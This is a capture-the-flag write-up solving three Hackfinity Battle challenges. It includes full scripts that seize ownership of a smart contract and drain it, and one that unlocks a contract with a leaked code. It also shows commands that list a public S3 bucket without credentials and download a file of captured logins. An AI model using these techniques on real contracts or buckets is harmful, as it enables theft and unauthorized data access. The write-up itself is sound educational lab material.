Hackfinity Battle Vault

From the Hackfinity Battle CTF event. -by munra, hadrian3689 and h4sh3m00

The following post by 0xb0b is licensed under CC BY 4.0


Heist

BlockChain

The challenge provides us with the functions required for the solution on the web server running on the machine. We can use the Foundry to solve the challenge.

To solve this challenge using Foundry, we write a script where the contract first calls changeOwnership() to become the new owner, then calls withdraw() to drain the contract balance. The isSolved() function will return true once the balance is 0, confirming success.

solve_heist.sh
#!/bin/bash

# Check if IP was provided
if [ -z "$1" ]; then
    echo "Usage: $0 <ip>"
    exit 1
fi

# Set URLs
IP="$1"
RPC_URL="http://$IP:8545"
API_URL="http://$IP"

# Export environment variables
export RPC_URL
export API_URL

# Extract contract and wallet data
PRIVATE_KEY=$(curl -s ${API_URL}/challenge | jq -r ".player_wallet.private_key")
CONTRACT_ADDRESS=$(curl -s ${API_URL}/challenge | jq -r ".contract_address")
PLAYER_ADDRESS=$(curl -s ${API_URL}/challenge | jq -r ".player_wallet.address")

# Output extracted info
echo "[*] Player Address: $PLAYER_ADDRESS"
echo "[*] Contract Address: $CONTRACT_ADDRESS"

# Check isSolved status
is_solved=$(cast call $CONTRACT_ADDRESS "isSolved()(bool)" --rpc-url ${RPC_URL})
echo "[*] isSolved: $is_solved"

# Get initial owner balance
initial_balance=$(cast call $CONTRACT_ADDRESS "getOwnerBalance()(uint256)" --rpc-url ${RPC_URL})
echo "[*] Initial Owner Balance: $initial_balance"

# Change ownership
echo "[*] Calling changeOwnership()..."
cast send --legacy $CONTRACT_ADDRESS "changeOwnership()" --private-key $PRIVATE_KEY --rpc-url $RPC_URL

# Withdraw
echo "[*] Calling withdraw()..."
cast send --legacy $CONTRACT_ADDRESS "withdraw()" --private-key $PRIVATE_KEY --rpc-url $RPC_URL

# Re-check balance and isSolved
final_balance=$(cast call $CONTRACT_ADDRESS "getOwnerBalance()(uint256)" --rpc-url ${RPC_URL})
is_solved_final=$(cast call $CONTRACT_ADDRESS "isSolved()(bool)" --rpc-url ${RPC_URL})

echo "[*] Final Owner Balance: $final_balance"
echo "[*] isSolved (after exploit): $is_solved_final"

# Get contract owner (address)
owner=$(cast call $CONTRACT_ADDRESS "getAddress()(address)" --rpc-url ${RPC_URL})
echo "[*] getAddress(): $owner"

We run our script and provide the machines IP.

solve_heist.sh <IP>

We were able to change the owner and withdraw the contracts balance. We visit the web page again and request the flag.

PassCode

BlockChain

The challenge provides us with the functions required for the solution on the web server running on the machine. We can use the Foundry to solve the challenge.

In order to solve this challenge, we need to call the unlock() function using the correct code. We can then request the flag via the getFlag() function. There is a hint() function that provides a string. Upon testing this manually, it becomes clear that the result of hint() is the code. To solve the challenge, we write a script that performs the aforementioned steps.

solve_passcode.sh
#!/bin/bash

# Check if IP was provided
if [ -z "$1" ]; then
    echo "Usage: $0 <ip>"
    exit 1
fi

# Set variables
IP="$1"
RPC_URL="http://$IP:8545"
API_URL="http://$IP"

# Export for cast
export RPC_URL
export API_URL

# Retrieve wallet and contract info
PRIVATE_KEY=$(curl -s ${API_URL}/challenge | jq -r ".player_wallet.private_key")
CONTRACT_ADDRESS=$(curl -s ${API_URL}/challenge | jq -r ".contract_address")
PLAYER_ADDRESS=$(curl -s ${API_URL}/challenge | jq -r ".player_wallet.address")

echo "[*] Player Address: $PLAYER_ADDRESS"
echo "[*] Contract Address: $CONTRACT_ADDRESS"

# Get hint
echo "[*] Fetching hint..."
HINT=$(cast call $CONTRACT_ADDRESS "hint()(string)" --rpc-url $RPC_URL)
echo "[*] Hint from contract: $HINT"

# Extract numeric code from hint 
CODE=$(echo "$HINT" | grep -oE '[0-9]+')
if [ -z "$CODE" ]; then
    echo "[-] Failed to extract code from hint."
    exit 1
fi
echo "[*] Extracted code: $CODE"

# Call unlock
echo "[*] Calling unlock($CODE)..."
cast send --legacy $CONTRACT_ADDRESS "unlock(uint256)" $CODE --private-key $PRIVATE_KEY --rpc-url $RPC_URL

# Get Flag
echo "[*] Calling getFlag()..."
cast call $CONTRACT_ADDRESS "getFlag()(string)" --rpc-url $RPC_URL

echo "[+] Done."

We run our script and provide the machines IP. The flag gets printed.

./solve_passcode.sh <IP>

A Bucket of Phish

Cloud

We initally try to access the provided website directly to see what it serves. Requesting a nonexistent key in an S3-backed website helps us determine if it's misconfigured. In this case, the error message shows that the backend is an S3 bucket and confirms that keys are being served directly.

curl http://darkinjector-phish.s3-website-us-west-2.amazonaws.com/s3
<html>
<head><title>404 Not Found</title></head>
<body>
<h1>404 Not Found</h1>
<ul>
<li>Code: NoSuchKey</li>
<li>Message: The specified key does not exist.</li>
<li>Key: s3</li>
<li>RequestId: 5N4YRF3PFTQJ3PD4</li>
<li>HostId: 8UMAis1KTIphT1x1jpBFPaGexYTQkhV5wy3nVdcEj9dc5rQBSgesHlRgBKtW9eYnmnHDUiCVeYU=</li>
</ul>
<h3>An Error Occurred While Attempting to Retrieve a Custom Error Document</h3>
<ul>
<li>Code: NoSuchKey</li>
<li>Message: The specified key does not exist.</li>
<li>Key: error.html</li>
</ul>
<hr/>
</body>
</html>

Next, we use the AWS CLI with unauthenticated access to list the bucket's files.

Some S3 buckets are public and allow listing without credentials. This shows all stored objects. Here, we discover index.html and a file named captured-logins-093582390.

aws s3 ls s3://darkinjector-phish --no-sign-request
2025-03-17 01:46:17        132 captured-logins-093582390
2025-03-17 01:25:33       2300 index.html

Next, we download the suspicious file to check for compromised credentials and find the flag.

curl http://darkinjector-phish.s3-website-us-west-2.amazonaws.com/captured-logins-093582390
user,pass
munra@thm.thm,Password123
test@thm.thm,123456
mario@thm.thm,Mario123
flag@thm.thm,THM{REDACTED}
                                                     

Last updated

Was this helpful?